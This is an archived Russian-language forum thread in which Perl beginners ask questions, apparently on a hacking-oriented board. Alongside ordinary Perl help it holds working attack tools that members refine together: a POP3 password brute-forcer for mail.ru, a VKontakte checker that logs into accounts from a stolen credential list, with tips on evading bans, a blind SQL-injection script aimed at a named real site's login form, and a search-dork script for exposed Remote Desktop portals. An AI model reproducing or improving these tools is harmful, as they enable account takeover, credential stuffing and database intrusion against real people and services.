[Perl] Новичкам: задаем вопросы [Архив] - Страница 3

SeeJay

02.06.2008, 20:39

$pop = Net::POP3->new('pop.mail.ru');
$pop = Net::POP3->new('pop.mail.ru', Timeout => 60);

зачем 2 раза?

в начало добавь
use strict;
use warnings;
По поводу два раза думаю да Вы правы но если добавляю использование библиотек то сразу же мой скрипт не работает.
Ошибка:

Global symbol "$Fpass" requires explicit package name at hello.pl line 7.
Global symbol "$Femails" requires explicit package name at hello.pl line 8.
Global symbol "$finds" requires explicit package name at hello.pl line 10.
Global symbol "$emails" requires explicit package name at hello.pl line 16.
Global symbol "$Femails" requires explicit package name at hello.pl line 16.
Global symbol "$emails" requires explicit package name at hello.pl line 17.
Global symbol "$email" requires explicit package name at hello.pl line 20.
Global symbol "$passwords" requires explicit package name at hello.pl line 22.
Global symbol "$Fpass" requires explicit package name at hello.pl line 22.
Global symbol "$passwords" requires explicit package name at hello.pl line 23.
Global symbol "$pass" requires explicit package name at hello.pl line 26.
Global symbol "$pop" requires explicit package name at hello.pl line 28.
Global symbol "$pop" requires explicit package name at hello.pl line 30.
Global symbol "$email" requires explicit package name at hello.pl line 30.
Global symbol "$pass" requires explicit package name at hello.pl line 30.
Global symbol "$email" requires explicit package name at hello.pl line 33.
Global symbol "$pass" requires explicit package name at hello.pl line 34.
Global symbol "$logs" requires explicit package name at hello.pl line 35.
Global symbol "$pass" requires explicit package name at hello.pl line 39.
Global symbol "$logs" requires explicit package name at hello.pl line 40.
Global symbol "$pop" requires explicit package name at hello.pl line 43.
Global symbol "$passwords" requires explicit package name at hello.pl line 44.
Global symbol "$emails" requires explicit package name at hello.pl line 46.
Bareword "chompt" not allowed while "strict subs" in use at hello.pl line 19.
Bareword "chompt" not allowed while "strict subs" in use at hello.pl line 25.
Execution of hello.pl aborted due to compilation errors.

SeeJay

02.06.2008, 20:41

На сервере походу нету Net::POP3;
Ребятки может быть Вы делали что-то подобное?
Если не трудно скиньте, пожалуйста, скрипт! Буду очень благодарен.

С уважением, SeeJay!

Kaimi

02.06.2008, 22:17

Попробуй так:

#!usr/bin/perl -w

use IO::Socket;

$Fpass = 'passwords.txt';
$Femails = 'emails.txt';

open($emails, $Femails);
while(<$emails>)
{
$email = $_;
chomp($email);

open($passwords, $Fpass);
while(<$passwords>)
{
$pass = $_;
chomp($pass);
$sock = new IO::Socket::INET
(
PeerAddr => 'pop.mail.ru',
PeerPort => 110,
PeerProto => 'tcp',
TimeOut => 60
) or die "Can't connect\n";

print $sock "USER $email\n\r";
sysread ($sock, $answ, 800);
print $sock "PASS $pass\n\r\n\r";
sysread ($sock, $answ, 800);
print $sock "\n\r";
sysread ($sock, $answ, 800);

close($sock);

if($answ =~ /maildrop/)
{
print "Good PASSSSSSSSSSSSSSSSSSSSSSSSS\n".
"[>]Email:".$email."\n".
"[>]Password:".$pass."\n";
}
else
{
print "[>]BAD Password:".$pass;
}
}
close($passwords);
}
close($emails);

Корвин

05.06.2008, 11:13

есть .txt файл, в нем сгенерирован прайс лист вот в таком виде

1 -1 -1 -1 Серверы и рабочие станции 0 0 0
1 1 -1 -1 Acer 0 0 0
1 1 1 -1 Рабочии станции 0 0 0
1 1 1 93913 Рабочая станция Acer Aspire E360 91.9N97E.R8S K8 MCR/ATHLON 64 3400/80GB SATA/512MB DDR400/DVD RW /nVidia G7300LE 256MB DVI TV-out, PCIE/Win XP MCE & Works/USB multimedia kb and optical mouse/MS MCE Remote Control & Receiver/ACR - Russian 396 392.0 385.00
1 1 1 88830 Рабочая станция Acer Aspire iDea 510 98.Q6B79.RHP Intel Core 2 Duo T5500, 2x512Mb DDRII SODIMM, 250Gb SATA, GeForce 7600GS 256Mb+2xTV-tuner, DVD/RW Slot-in, wireless kb&mouse, Gigabit LAN+Wi-Fi, Vista HP 1683 1667.7 1652.40
1 1 1 89246 Рабочая станция Acer Aspire L320 92.2NG9Z.RHR Intel Core 2 Duo E4400 2x512Mb DDRII 533 SO-DIMM 250Gb SATA onboard Intel GMA 3000 DVD RW Slot-In corded kb&mouse Gigabit LAN+Wi-Fi Vista HP+Ent 734 727.0 720.36

и есть скрипт на перле который этот прайс заливает в базу на сайте, вот скрипт:

#!/usr/bin/perl -w

#================================================= ============================
#================================================= ============================
#================================================= ============================

sub loadprice2{

&writebase("delete from pricelist");

open F,"price.sql";
@d=<F>;
close F;

$d=join "",@d;
$d=~s/[\r\n]/<br>/g;

$d=~s#{{([\d-]+),(\d*)}}?#$1\.$2#g;
$d=~s#{{##g;
$d=~s#}}##g;

$d=~s/<br>/\n/g;

&writebase($d);

}

#================================================= ============================
#================================================= ============================
#================================================= ============================

sub loadprice{

$db="DBI:mysql:wiz:localhost:3306";
$db=DBI->connect($db,"login","pass");
open F,"p.txt";
my @d=<F>;
close F;
$db->do("TRUNCATE TABLE pricelist");
for my $i (@d){
my @z=split /\t/,$i;
$db->do('insert into pricelist (razdel_id,cat_id,subcat_id,id,name,price1,price2, price3) values ('.(join ',',map {$db->quote($_)} @z).')');
}
$db->do("update options set price_update=now()");
$db->disconnect();
print "<script language=javascript>top.location.href='?$rand'</script>";
}

#================================================= ============================
#================================================= ============================
#================================================= ============================

1;

мне нужно такой же скрипт на пхп написать, можете помочь, просто в перле ока ничо не понимаю((

или хотя бы обьясните как этот скрипт работает примерно, чтоб мне было от чего оттолкнутся....

Велемир

07.06.2008, 23:35

my %options = (
fields => 'fields',
maps => 'map',
logs => 'logs',
);
GetOptions(
"fields=s" => \$options{fields},
"maps=s" => \$options{maps},
"logs=s" => \$options{logs},
"help" => \$options{help}
);

Кто-нибудь можетр астолковать,что случается?)).Сначала создаётся ассоциативный массив %options,а вот что такое GetOptions() не знаю(.Изучаю Перл второй день,так что прошу помощи в разъяснении,что тут происходит))

И ещё вопрос - Есть такой код:

if ($options{help}) {
my $msg = <<EOF;
mapview.pl [OPTIONS]

Options:
--fields=path Path to the folder containing .fld files.
--maps=path Path to the folder containing map images.
--logs=path Path to the folder containing log files.

EOF
$msg =~ s/^\t*//gm;
print $msg;
exit 1;
}

Вопросы: 1.Что такое << перед EOF ? Смахивает на какой-то поток как в Си))).
2.Что такое mapview.pl [OPTIONS] ? Смахивает на массив,никогда такого не видел оО(.
3.Почему после EOF( второго по счёту) указывается блок кода,если после EOF всё игнорируется?)

ЗЫ: Если мои вопросы будут удалять,задавать я их не буду =_______=,ибо это топик ВОПРОСЫ !)

demonoid

08.06.2008, 01:12

GetOptions(
"fields=s" => \$options{fields},
"maps=s" => \$options{maps},
"logs=s" => \$options{logs},
"help" => \$options{help}
);

Getopt::Long

1. Это строчно-ориентированная форма расстановки кавычек.
2. mapview.pl [OPTIONS] - это часть строки скаляра msg
3. кто сказал что игнорируется %) ?

krypt3r

09.06.2008, 06:50

my $msg = <<EOF;
mapview.pl [OPTIONS]

Options:
--fields=path Path to the folder containing .fld files.
--maps=path Path to the folder containing map images.
--logs=path Path to the folder containing log files.

EOF

Это один из вариантов объявления строковой переменной $msg, так называемый heredoc. Все, что находится после

my $msg = <<EOF;

и до строки

EOF

является многострочной heredoc-строкой. Перл в таком случае не будет считать EOF признаком конца файла, как ты видимо, подумал. Это просто признак конца heredoc-строки. Вместо EOF может стоять любая последовательность символов.
Если непонятно объяснил, то вот тебе вариант строки в более привычной форме

my $msg = "mapview.pl [OPTIONS]\n"
. "\n"
. "Options:\n"
. "--fields=path Path to the folder containing .fld files.\n"
. "--maps=path Path to the folder containing map images.\n"
. "--logs=path Path to the folder containing log files.\n";

или

my $msg = "mapview.pl [OPTIONS]\n\nOptions:\n--fields=path Path to the folder containing .fld files.\n--maps=path Path to the folder containing map images.\n--logs=path Path to the folder containing log files.\n";

Согласись, что heredoc-вариант более предпочтителен с точки зрения читабельности кода.
Если все равно непонятно, учи перл, юзай гугл.

ЗЫ. Такой вариант объявления строк есть и в PHP

.Slip

11.06.2008, 18:28

Попытка создания многопоточного скрипта:
#!/usr/bin/perl
use threads;

for(0..10) { $trl[$_]=threads->create(\&trp,$_);}
for(@trl) { $_->join;}

sub trp
{
my $i=1, my $x=5;
while($i<=$x)
{
print $i.":test\n";
$i++;
}
}

По идее должны записи выводится хаотично.
Но выводятся они так:
1:test
2:test
3:test
4:test
5:test
1:test
2:test
3:test
....etc....
Потоки то есть, но почему то последовательно а не параллельно.

Kaimi

11.06.2008, 18:34

По идее должны записи выводится хаотично.

Но запускаешь то потоки ты не одновременно, на самом деле они параллельно выполняются, через какое то время появляется рассинхронизация.

Например у меня:

4:test
1:test
1:test
5:test
2:test
2:test
3:test
3:test
4:test
4:test
5:test
5:test
1:test
2:test
1:test
2:test

Piflit

11.06.2008, 18:38

.Slip
http://nopox.wordpress.com/tag/%D0%BC%D0%BD%D0%BE%D0%B3%D0%BE%D0%BF%D0%BE%D1%82%D 0%BE%D1%87%D0%BD%D0%BE%D1%81%D1%82%D1%8C/

.Slip

11.06.2008, 18:38

И каким образом мне достичь рассинхронизации у себя? Что бы наглядно было

add:

/me достиг

Не подумал сразу что у меня проц. amd x2 2.22 =\

add:

>> Но запускаешь то потоки ты не одновременно
Вот на примере сурса, каким образом запустить одновременно?

akakernel

15.06.2008, 20:24

Не могу понять почем не работает следующее:
#!/bin/perl -w
# имя файла some.pl
require libp;
print "Введи чило для вычисления факториала: ";
chomp($inside=<STDIN>);
$result=libp::faktorial($inside);
print "Факториал числа $inside равен ",$result,"\n";

#!/bin/perl
# имя файла libp.pm
package libp;
sub faktorial {
$faktorial=1;
$number=shift;
if ($number<=1) { return 1;}
else {
foreach (1..$number) {
$faktorial=$faktorial*$_;
}
}
return $faktorial;

laptop:~$ perl some.pl
libp.pm did not return a true value at some.pl line 3.

Piflit

15.06.2008, 21:08

#!/bin/perl
# имя файла libp.pm
package libp;
sub faktorial {
$faktorial=1;
$number=shift;
if ($number<=1) { return 1;}
else {
foreach (1..$number) {
$faktorial=$faktorial*$_;
}
}
return $faktorial;
}
1 # не хватает в конце

akakernel

15.06.2008, 22:51

фак мой моск, не доглядел :)

emik

15.06.2008, 23:08

интересует вопрос: возможли ли вообще через РНР загрузить большой файл. потому как маленькие файлы загружает а большые ни в какую. значение переменных поправи в php.ini - не помогло (.

и еще я питаюсь загрузить файл пдф

Piflit

15.06.2008, 23:20

emik

15.06.2008, 23:29

я понимаю что здесь против перла не попреш - но нужно зделать на пхп. Есть там какие-то бока с загрузкой файлов пдв, ехе, джвю ?

emik

15.06.2008, 23:57

нашел директиву в настройках php.ini .может ли она влиять? max_execution_time = 30 ; Maximum execution time of each script, in seconds

З.Ы. загрузка фыайла на сервер осуществляется. создается копия в темп директории и постоянно наращивается размер, а потом обрывается в место того что бы скопироватся по назначению. с файлами малеького размера все нормально (. файлы размером 1,5 мб тоже не загружает (

emik

16.06.2008, 00:11

еп-ти заработало! все бока в этой диретиве!

хотя в скрипте использовал set_time_limit(0); но не погало (

krypt3r

16.06.2008, 06:41

Че-то после праздников я не пойму. Заглядываю в тему по перлу - вижу обсуждение php.ini o_O

emik

16.06.2008, 17:30

прошу прощения, просидел безвылазно за компом чуть ли не сутки вот и глюкнуло. Если можно переместите, или удлаите топики.

svesve

17.06.2008, 22:36

есть некий урл
www.site.com
на котором есть некое значение 777
которое в исходно коде находится в такой строчке
<div id="value" style="width:10px;">777</div>

делаю запрос
$request = get('http://www.site.com')->as_string;

в переменной request будет исходник страницы
а вот дальше подскажите как выдрать именно значение 777 которое в <div id="value" style="width:10px;">777</div> и записаь его в переменную

я так понимаю нужно пользоваться регуляркой?

biophreak

17.06.2008, 23:12

Будет что-то типа

my $variable = $1 if $request =~ m#<div id="value" style="width:10px;">(\d+)</div>#gio;

Нужное тебе значение будет в переменной $variable

svesve

17.06.2008, 23:43

Ну вот с горем пополам немного переделал чекер на перле для контакта,чтоб чекал рейтинг
но почемуто айдишник не выдает (
где огибка?

з.Ы. Знание перла = 0.01% ыыыыыы
ногами не пинать учусь.
#!/usr/bin/perl
use strict;
use LWP::UserAgent;

use HTTP::Cookies;

open (FILE , '<logs.txt');
my @f = <FILE>;
chomp @f;

my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies); #Eoee ;)
open (OUT , '>>IDS.txt');
while (@f)
{
my ($mail, $pass) = split(/:/, shift(@f));

my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
my $suc = $req =~ /302 Found/;
if ($suc )
{
$req = $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)(">)/;
if (!$2)
{
print "Account deleted";# это в случае , если пользователь удалил страницу
}
$req = $ua->get('http://vkontakte.ru/rate.php')->as_string;
my $res = $1 if $req=~m/width:100px">(.{1,4})</;
print "[rate=$res]:$mail:$pass \n";
print OUT $res.":".$mail.":".$pass.":".$2."\n";
if (length($2)>1){print OUT $res.":".$mail.":".$pass.":".$2."\n";}
}
else{print"[-]bad login or password";}
}

krypt3r

18.06.2008, 06:53

ногами не пинать учусь.
Учись для начала открытые файлы закрывать...

biophreak

18.06.2008, 09:47

Вот что у меня получилось, там немного в скрипте логика хромала, при удаленном акке он продолжил бы запрос rate.php страницы...
На удаленных акках не тестил :)

#!/usr/bin/perl -s
use strict;
use warnings 'all';
use diagnostics;
use LWP::UserAgent;
use HTTP::Cookies;
open FILE, '<', 'logs.txt' or die "Cannot open logs file: $!\n";
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
open OUT, '>>', 'IDS.txt' or die "Cannot open IDS file: $!\n";
while (my @f = <FILE>)
{
my ($mail, $pass) = split ':', shift @f;
chomp($pass);
my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass })->as_string;
$req =~ /302 Found/;
if ($req)
{
$req = $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id = $1 if $req =~ m#<a href="http://vkontakte.ru/id(\d+)">#i;
next && print "Account $mail deleted\n" if !$id;
$req = $ua->get('http://vkontakte.ru/rate.php')->as_string;
my $res = $1 if $req=~m#<div id="percent" style="width:100px">(\d{1,3})%</div>#i;
print "[rate = $res%]:$mail:$pass\n";
print OUT $res.":".$mail.":".$pass."\n";
exit;
} else
{
print"[-]bad login or password";
}
} continue
{
close OUT;
close FILE;
}

sedoy_xxx

18.06.2008, 12:10

Есть массив ip адресов. Его нужно отсортировать в порядке возрастания 3 и 4 октетов. Стандартная функция sort делает это так:
10.1.1.11
10.1.1.12
10.1.1.120
10.1.1.121
10.1.1.13

А требуется:

10.1.1.11
10.1.1.12
10.1.1.13
.......
10.1.1.120
10.1.1.121

Zircool

18.06.2008, 12:20

Не знаю есть ли функция natsort() в perl но в PHP она есть и сортирует так как тебе нужно....

krypt3r

18.06.2008, 13:02

sedoy_xxx, попробуй так

#!/usr/bin/perl

@ips = ('10.1.1.11', '10.1.1.12', '10.1.1.120', '10.1.1.121', '10.1.1.13');
@new = sort {
($a =~ /10\.1\.1\.(\d+)/)[0] <=> ($b =~ /10\.1\.1\.(\d+)/)[0]
} @ips;
print "@new\n";
exit 0;

Это для последнего октета. Для 3 и 4 попробуй заменить на

@new = sort {
($a =~ /10\.1\.(\d+)\.(\d+)/)[0] <=> ($b =~ /10\.1\.(\d+)\.(\d+)/)[0]
||
($a =~ /10\.1\.(\d+)\.(\d+)/)[1] <=> ($b =~ /10\.1\.(\d+)\.(\d+)/)[1]
} @ips;

svesve

18.06.2008, 15:51

все спасибо разобрался, вот рабочий вариант

#!/usr/bin/perl
# VKONTAKTE cheker
# Original author Xszz.AoH
# Modified by svesve
# tnx to a4at members who help me with perl ;-)
use strict;
use LWP::UserAgent;

use HTTP::Cookies;

open (FILE , '<logs.txt');
my @f = <FILE>;
chomp @f;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
open (OUT , '>>IDS_rate.txt');
while (@f)
{
my ($mail, $pass) = split(/:/, shift(@f));

my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
my $suc = $req =~ /302 Found/;
if ($suc )
{
$req = $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)(">)/;
my $idd=$2;
if (!$2)
{
print "Account deleted";
}
$req = $ua->get('http://vkontakte.ru/rate.php')->as_string;
my $res = $1 if $req=~m/width:100px">(.{1,4})</;
print "[rate=$res]:[id=$idd]:$mail:$pass\n";
print OUT $res.":".$idd.":".$mail.":".$pass."\n";
}
else{print"[-]bad login or password \n";}
}
close OUT;
close FILE;

biophreak

18.06.2008, 17:04

Хм...логику подкрути еще, ибо на удаленных аках лишь матюкнется на экран и продолжит ломицца на rate.php...

login999

18.06.2008, 22:04

del

svesve

18.06.2008, 23:49

#!/usr/bin/perl
# VKONTAKTE cheker
# Original author Xszz.AoH
# Modified by svesve
# tnx to a4at members who help me with perl ;-)
use strict;
use LWP::UserAgent;

use HTTP::Cookies;

open (FILE , '<logs.txt');
my @f = <FILE>;
chomp @f;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
open (OUT , '>>IDS_rate.txt');
while (@f)
{
my ($mail, $pass) = split(/:/, shift(@f));

my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
my $suc = $req =~ /302 Found/;
if ($suc )
{
$req = $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)(">)/;
my $idd=$2;
$req = $ua->get('http://vkontakte.ru/rate.php')->as_string;
my $res = $1 if $req=~m/width:100px">(.{1,4})</;
print "[rate=$res]:[id=$idd]:$mail:$pass\n";
if (!$idd)
{
print "Account deleted \n";
}
print OUT $res.":".$idd.":".$mail.":".$pass."\n";
}
else{print"[-]bad login or password \n";}
}
close OUT;
close FILE;

подправил все должно быть ок!

Piflit

19.06.2008, 11:15

при таком чеке обычно все акки уходят в баню, так что осторожнее ))

svesve

19.06.2008, 11:54

почему?

biophreak

19.06.2008, 13:41

1 Ip, 1 юзерагент, да, и если банально прослеживается путь "юзера" по сайту, то за кучу однообразных запросов забанить могут )))

svesve

19.06.2008, 14:17

хы а если рандомайз на юзер агент воткнуть )
а то что один айпи это еще не причина бана мб мы из одной сети сидим через шлюз ) все 20 000 человек ))))) и у всех у нас опера или лиса )

svesve

21.06.2008, 00:45

Есть у когонитбудь простой примерчик многопоточности?
скиньте плиз )

biophreak

22.06.2008, 17:02

Нет, не в одной подсетисети дело - как миниму странно будет то, что 1 ИП будет с разных акков логиниться, запрашивать rate.php и уходить с сайта

svesve

22.06.2008, 20:17

ну можно передлать чтоб с главной брал рейтинг ) какие проблемы? )

вот рабочий код.
ЗЫ можно еще сделать чтоб на pda.vkontakte.ru ломилсмя трафа меньше есть и проверка быстрее пойдет )
#!/usr/bin/perl
# VKONTAKTE cheker
# Original author Xszz.AoH
# Modified by svesve
# tnx to a4at members who help me with perl ;-)
use strict;
use LWP::UserAgent;

use HTTP::Cookies;

open (FILE , '<logs.txt');
my @f = <FILE>;
chomp @f;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
open (OUT , '>>IDS_rate.txt');
while (@f)
{
my ($mail, $pass) = split(/:/, shift(@f));

my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
my $suc = $req =~ /302 Found/;
if ($suc )
{
$req = $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)(">)/;
my $idd=$2;
my $res = $1 if $req=~m/<div id="percent">(.{1,4})</;
print "[rate=$res]:[id=$idd]:$mail:$pass\n";
if (!$idd)
{
print "Account deleted \n";
}
print OUT $res.":".$idd.":".$mail.":".$pass."\n";
}
else{print"[-]bad login or password \n";}
}
close OUT;
close FILE;

biophreak

22.06.2008, 22:17

Всетаки замени

if (!$idd)
{
print "Account deleted \n";
}

На чтото типа

(print "Accont $mail is deleted\n" and next) if !$idd;

demonoid

22.06.2008, 23:20

(print "Accont $mail is deleted\n" and next) unless $idd;

z3r0cool

23.06.2008, 10:03

Написал свой первый скрипт-exploit на перле, подскажите, как правильнее\лучше написать с точки зрения синтаксиса?
Скрипт рабочий.

#!/usr/bin/perl
use LWP;

my $browser = LWP::UserAgent->new;
my $url = "http://e-rfo.ru/?i=logon";

print "Starting sql-code injection...\n";
&GetTables('',0,0,'');

sub GetTables{
my ($ascii_set,$tnl, $node, $tn);

$ascii_set = $_[0];
$tnl = $_[1];
$node = $_[2];
$tn= $_[3];

my $curr_tnl = $tnl+1;
my $curr_tn = '';
my $curr_set = '';
my $curr_node = $node+1;
my $table_finded = 0;

for $i (95..122)
{
if (length($tn) == 0)
{
$curr_tn = chr($i);
}
else
{
$curr_tn = "$tn" .chr($i);
}
if (length($ascii_set) == 0)
{
$curr_set = $i;
}
else
{
$curr_set = $ascii_set.','.$i;
}
$char = 'CHAR('.$curr_set.')';
$post = "admin' AND 1=(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE LEFT(TABLE_NAME,$curr_tnl)=$char UNION ALL SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE LEFT(TABLE_NAME,$curr_tnl)=$char)/*";
$response = $browser->post($url, ['login' => $post, 'password' => '', 'op' => 'login']);
$content = $response->content;
if ($content =~ "Subquery returns more than 1 row")
{
print "LEFT(TABLE_NAME,$curr_tnl) is: ",$curr_tn,"\n";
$table_finded = 1;
GetTables($curr_set, $curr_tnl, $curr_node, $curr_tn);
if ($curr_node > 5)
{
return;
}
}
else
{
if (length($curr_tn) > 1 && $table_finded == 0 && $i == 122)
{
print "Table name is: " .substr($curr_tn,0,length($curr_tn)-1)."\n";
}
}
if ($response->is_success == false)
{
print "connection error...\n";
}
$curr_set = '';
}
}

biophreak

23.06.2008, 10:10

use warnings 'all';
use strict;
use diagnostics;

krypt3r

23.06.2008, 10:19

подпрограммы не нужно вызывать, ставя перед их вызовом амперсанд.
Быть может, не так надо?

$ascii_set = $_[0];
$tnl = $_[1];
$node = $_[2];
$tn= $_[3];

А вот так?

my ($ascii_set, $tnl, $node, $tn) = @_;

biophreak

23.06.2008, 10:57

$curr_tn = "$tn" .chr($i);
Да че у вас всех мания переменные в двойных ковычках писать? :)))
Интерпретатор болше времени затрачивает на парсинг :)
Вот это

if (length($tn) == 0)
{
$curr_tn = chr($i);
}
else
{
$curr_tn = "$tn" .chr($i);
}

Можно записать ИМХО немного читаеме и удобнее, чтото типа того:

$curr_tn = (length($tn) > 0 ? chr($i) : $tn.chr($i))

И ИМХО лучше

if ($response->is_success == false)
{
print "connection error...\n";
}

Записать так:

exit print "Connection error..." if(!response->is_success)

Хотя форматирование и стиль кода - сугубо личное дело каждого...у меня вообще звиздос иногда творится :))))

krypt3r

23.06.2008, 12:17

Кстати, и в самом деле, нахрена переменные в кавычки пихать? о_О

z3r0cool

23.06.2008, 12:41

Кстати, и в самом деле, нахрена переменные в кавычки пихать? о_О
Самый первый раз писал ;), научимся ;)

MaTpOc

24.06.2008, 19:49

Надумал учить Perl, подскажите самый хороший учебник который можно скачать в нете, ток чтоб все в одном было а не страницы в нете, заранее спс.

Naydav

24.06.2008, 19:56

Надумал учить Perl
Учи php, чесс слово
а то мне это напоминает "Надумал учить Turbo Pascal" :)

Naydav

24.06.2008, 21:02

обоснуй
Если начинать, учить язык web-программирования, то лучше PHP или ASP.net, а не perl
Если начинать, учить язык прикладного программирования, то лучше С++ или Delphi, а не Pascal

Почему? спрос(а значит и деньги)
Да в некоторых целях, perl незаменим...
Но использовать его как основной язык - пережиток прошлого, также как и паскаль
Все конечно имхо

pento

24.06.2008, 22:49

Надумал учить Perl, подскажите самый хороший учебник который можно скачать в нете, ток чтоб все в одном было а не страницы в нете, заранее спс.
camel book
Но, как уже сказали выше, перл учить не стоит. Лучше хотя бы пых, а еще лучше питон.

biophreak

24.06.2008, 23:08

Или Ruby, тоже ничего себе вещичка )

Naydav

25.06.2008, 00:25

а что касается perl, он востребован, но для него не катит подход быдлокодинга как для пхп.
согласен на выучить php намного проще, чем нуучиться им пользоваться, но
1) А почему так мало прогеров перл? потому что это умирающий язык
а что касается perl, он востребован
где востребован? для сайтов которые когда-то были написаны не перл, и теперь владельцы кусают локти, что нужно платить больше, потому что, их сайт написан на умирающем языке. Кто сейчас использует перл(кроме индикатора загрузки и тому подобных штучках)? Вообще новое хоть что-тосоздаеться на перл? перл-программисты - динозавры, с каждым днем вымирающие, так же как и сайты написанные на перл, не нужны они, в большинстве случаев
2)в следствии чего рынок ими переполнен
Нормальный работодатель, отличит того кто знает php, от того кто умеет им правильно пользоваться(через день, через неделю)
Только проэкты создаються на пхп и асп не потому, что много пхп и асп программистов, а как раз НАОБОРОТ, таких прогеров больше, потому что, пхп и асп более востребованны...

И по зарплатам, я бы еще поспорил, в среденем, хороший пхп прогер получает больше перл прогера

Можно провести аналогию, перл - это в футболе, как бы играть с либеро, а не в линию
Да, либеро будет больше получать(пока), пока еще остаються инвалидные клубы, которые играют не в линию, а с последним защитником... но хай левела тиких точно нет :)

И вообще ровняться нужно на "гостей из будущего", не слышал чтобы пропагандировали перл

.Slip

25.06.2008, 00:45

>> где востребован? для сайтов которые когда-то были написаны не перл, и теперь владельцы кусают локти, что нужно платить больше, потому что, их сайт написан на умирающем языке. Кто сейчас использует перл(кроме индикатора загрузки и тому подобных штучках)?

Яндекс - вымирающий сайт? Хехе. Не стоит говорить то о чём не знаешь.
http://company.yandex.ru/inside/job/index.xml
Perl
Рекламные сервисы (Perl/MySQL)
Статистика портала
Главная страница Яндекса и система авторизации
Система управления доступом
Cпециализированные поиски
Аналитика и перспективные продукты веб-поиска
А вот того же пхп там нету. Делай выводы о невостребованности.

>> И по зарплатам, я бы еще поспорил, в среденем, хороший пхп прогер получает больше перл прогера
Ты реально загоняешь. combats.ru - популярнейшая браузерная игра написана на перле, или это тоже нихера не востребованный сайт?

Naydav

25.06.2008, 01:01

http://company.yandex.ru/inside/job/index.xml
Ну не будут же яндекс под пхп ни с того, ни с сего переделывать, пока работает и так, зачем усложнять жизнь...

Я бы с радостью посмотрел на примеры посвежее, особенно от Google

Kaimi

25.06.2008, 02:02

Да, да перл фигня, всем срочно переходить на Php

Naydav

25.06.2008, 02:07

вообщем, каждый остался при своем мнении

GAVVVR

25.06.2008, 03:10

На хакер.ру есть такой скрипт для поиска потенциально уязвимых машин с включенным Rdp.
Вот он

var ie = new ActiveXObject("InternetExplorer.Application");

ie.Visible = false;

for (var c_index = 0; c_index < 10; c_index++) {

ie.Navigate("http://www.google.com/search?q=intitle:Remote.Desktop.Web.Connection%20i nurl:tsweb&num=100&start=" + c_index*10 + "&hl=en");

while (ie.busy) { WScript.Sleep(100) }

var lnk = "";

for (var i = 0; i < ie.document.links.length; i++) {

lnk = ie.document.links[i].href;

if (lnk.indexOf("google") == -1)

{

if (lnk.indexOf("cache:") == -1) {

WScript.Echo(lnk);

}

}

}

}

ie.Quit();

Только либо он у меня не работает, либо до меня не допетрило как его применить.
Помогите :confused:

krypt3r

25.06.2008, 06:36

GAVVVR, напиши в скрипте первой строкой

#!/usr/bin/perl

Vid0k

25.06.2008, 06:44

GAVVVR, напиши в скрипте первой строкой

#!/usr/bin/perl

да эт воще не перл)

biophreak

25.06.2008, 14:06

Яваскипт эт вроде как :)))

GAVVVR

25.06.2008, 18:36

Угу. яваскрипт. мне тоже так кажется. Только как его применить. Я его уже и сохранял как .js и между тегами <script> вставлял. Не получается чего то. Как мне его применить?

genom--

25.06.2008, 22:12

Да, да перл фигня, всем срочно переходить на Php

кста связка php с perl - очень охеренная - если знаешь два языка можно такие фишки бомбить --- perl круче и функциональнее - но и в php есть свои фишки + он под веб заточен на 100%

KSURi

25.06.2008, 22:37

wsh

MaTpOc

26.06.2008, 22:01

Ачатовцы, помогите плиз:
у меня такая фигня написал такой скрипт:
#!/usr/bin/perl

print "Hello, world!\n";

как мне его открыть через командную строку?
что нужно прописывать чтоб он открылся?
ЗЫ: Актив перл установлен, как заходить в cmd знаю!

159932

26.06.2008, 22:08

c:\perl\bin\perl.exe [путь скрипта]

MaTpOc

26.06.2008, 22:25

c:\perl\bin\perl.exe [путь скрипта]

у меня не получается что-то...
http://i057.radikal.ru/0806/28/94be47add57d.jpg (http://www.radikal.ru)

Spyder

26.06.2008, 22:26

perl путь_к_скрипту

Spyder

26.06.2008, 22:30

http://www.unn.ru/cs/arageli/administrator/1.jpg

.Slip

27.06.2008, 10:24

#!/usr/bin/perl -w
print "\nmda\n";
http://i053.radikal.ru/0806/06/a4ed09d93571.gif

MaTpOc, невероятно сложно, да?

zer0ska

01.07.2008, 20:40

Где можно взять хороший док (желательно на русском)по формированию пакетов raw socket в perl хотябы основные протоколы.

zavra

02.07.2008, 04:30

пытаюсь дополнить чекер акков вк количеством друзей, в шаблоне контакта вот так получается:
<div><h2>Друзья <span>(102)</span>
нужно выдрать из шаблона количество друзей, подскажите как правильно сделать, в перле первый день :)
my $fri = $1 if $req=~m/<div><h2>Друзья <span>(количество друзей)</;

zavra

02.07.2008, 05:02

шикарно, пасибо :)
можешь, пожалуйста, объяснить значение обратных слешей тут: $(\d+)$?
первый и последний, как я понял, относятся к скобке и означают, что скобки относятся к коду из шаблона, а средний зачем?

svesve

02.07.2008, 14:39
